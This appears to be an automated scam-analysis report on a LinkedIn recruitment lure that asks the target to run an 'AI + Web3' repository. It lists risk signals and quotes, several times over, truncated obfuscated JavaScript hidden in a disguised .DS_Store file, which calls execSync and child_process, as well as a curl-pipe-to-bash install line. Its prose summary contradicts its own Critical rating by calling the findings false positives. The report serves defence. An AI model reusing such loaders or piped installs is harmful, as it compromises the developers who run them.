| Verdict | Critical |
|---|---|
| Code | 7 attack chains found in the code, 4 of them decisive |
| Conversation | 5 signals of a recruitment scam in the conversation: runnable repo, run code pressure, fresh repo, single contributor, zero community |
This case involves a recruitment scam attempt initiated via LinkedIn DM, rated as high risk. The initial message is a common lure for recruitment scams, offering an opportunity to join a team building an "AI + Web3 product." Several signals contribute to the high-risk assessment. The presence of a runnable repository and a fresh repository are noted, which could be used to distribute malicious code. Indicators point to a zero-community and single-contributor project, which often raises red flags for legitimacy and could suggest a lack of genuine development or oversight. A significant concern is the high run code pressure, suggesting that the provided code, if executed, might perform extensive or sensitive operations. While numerous AI-verified findings related to PowerShell web requests, curl pipe shell commands, child process imports, and Ethereum wallet directory checks were flagged, they were all deemed false positives in this context, primarily because they represent standard setup, installation, or Web3 integration patterns within the provided scripts and not direct evidence of malicious exfiltration or arbitrary command execution. Despite these false positives, the combination of the recruitment scam context and the behavioral signals still points to a high-risk scenario.
| Runs | decodes a hidden payload; downloads a file; hides its strings on purpose; runs a local command; runs code fetched from the network |
|---|---|
| Leaves the machine | credentials read from disk; data to a remote host |
| When | when the code is run or imported |
| Signal | What it means | Severity | Found by |
|---|---|---|---|
| runnable repo | runnable repo | medium | the engine |
| run code pressure | Reporter was pressured to run code on their machine | high | the submitter |
| fresh repo | fresh repo | medium | the engine |
| single contributor | single contributor | low | the engine |
| zero community | zero community | low | the engine |
7 chains. Open one to see the lines it rests on.
| scripts/install-windows.bat:6 | executes remote |
| backend/src/config/.svn/.DS_Store:1 | decodes |
| backend/src/config/.svn/.DS_Store:1 | executes local |
| backend/src/config/.svn/.DS_Store:1 | string obfuscation |
| backend/src/config/.svn/.DS_Store:1 | executes local |
backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fFscripts/install-windows.bat:6 · curl_pipe_shell
REM Git Bash: curl -s https://bitbucket.org/daam2251/ai-agent-marketplace/raw/main/scripts/install-windows.bat | bashscripts/install-windows.bat:6 · download_executable_url
REM Git Bash: curl -s https://bitbucket.org/daam2251/ai-agent-marketplace/raw/main/scripts/install-windows.bat | bash| Code | Something in this code can run on the machine that installs or runs it. |
|---|---|
| Layers | not detonated in a sandbox |
| Version | Date | Band | Engine | Stages |
|---|---|---|---|---|
| 2 | 04/09/2026 | Critical | 5c766bbb4aa0 | engine, osv |
| 1 | 04/06/2026 | Critical | legacy-pre-g | engine |
Disclaimer: This report is based on community-submitted information and automated analysis. It does not constitute legal advice or a definitive determination of fraud. Named or described entities may contest this report — if you believe this case contains inaccurate information, you may submit a correction or appeal. RTIdx processes takedown and correction requests within 7 days.
| backend/src/config/.svn/.DS_Store:1 | decodes |
| backend/src/config/.svn/.DS_Store:1 | executes local |
backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fF| scripts/install-windows.bat:6 | executes remote |
scripts/install-windows.bat:6 · curl_pipe_shell
REM Git Bash: curl -s https://bitbucket.org/daam2251/ai-agent-marketplace/raw/main/scripts/install-windows.bat | bashscripts/install-windows.bat:6 · download_executable_url
REM Git Bash: curl -s https://bitbucket.org/daam2251/ai-agent-marketplace/raw/main/scripts/install-windows.bat | bash| backend/src/config/.svn/.DS_Store:1 | string obfuscation |
| backend/src/config/.svn/.DS_Store:1 | executes local |
backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fF| frontend/src/services/web3.js:11 | reads credential |
| scripts/auto-start-linux.sh:77 | sends to |
frontend/src/services/web3.js:11 · ethereum_wallet_dir
return typeof window !== 'undefined' && typeof window.ethereum !== 'undefined';scripts/auto-start-linux.sh:77 · cli_interpolated_request
echo -e "${RED}[ERROR] Neither curl nor wget is available.${NC}"| backend/src/config/.svn/.DS_Store:1 | string obfuscation |
| frontend/src/services/web3.js:11 | reads credential |
| scripts/auto-start-linux.sh:77 | sends to |
backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fFfrontend/src/services/web3.js:11 · ethereum_wallet_dir
return typeof window !== 'undefined' && typeof window.ethereum !== 'undefined';scripts/auto-start-linux.sh:77 · cli_interpolated_request
echo -e "${RED}[ERROR] Neither curl nor wget is available.${NC}"| scripts/auto-start-linux.sh:73 | downloads |
| backend/src/config/.svn/.DS_Store:1 | executes local |
backend/src/config/.svn/.DS_Store:1 · dynamic_require
require('\x6f\x73');const fs=require('\x66\x73');const path=require(Md(0x4309,0x2662,'\x71\x33\x49\x43',0x2996,0x4464));const {execSync,spawn}=require(Md(0x3c46,0x3813,'\x48\x38\x6a\x78',0x1b77,0x3a25backend/src/config/.svn/.DS_Store:1 · exec_sync
8d4,0x3efd,0x2750,0x4273,'\x6c\x57\x29\x40'));}catch(O){try{execSync(MK(0x1aa4,0x2ce7,0x35c,0x3a8b,0x3087)+MB(0x1637,0x24b3,0x2788,0x4829,'\x58\x53\x32\x50')+Md(0x4dc,0xc27,'\x32\x47\x6b\x36',0x1db0,-backend/src/config/.svn/.DS_Store:1 · hex_encoded_string
r,fF.nNl)+h7(fF.hkF,fF.u7,fF.nNH,fF.nNG,fF.nNB)+'\x63'](x,{'\x77\x69\x74\x68\x46\x69\x6c\x65\x54\x79\x70\x65\x73':!![]});const R=[f[yi(fF.nNs,fF.ySn,fF.nNg,fF.nNA,fF.h1m)],f[yV(fF.SWU,fF.nNK,fF.nNc,fFscripts/auto-start-linux.sh:73 · cli_download
DOWNLOAD_CMD="curl -L -o"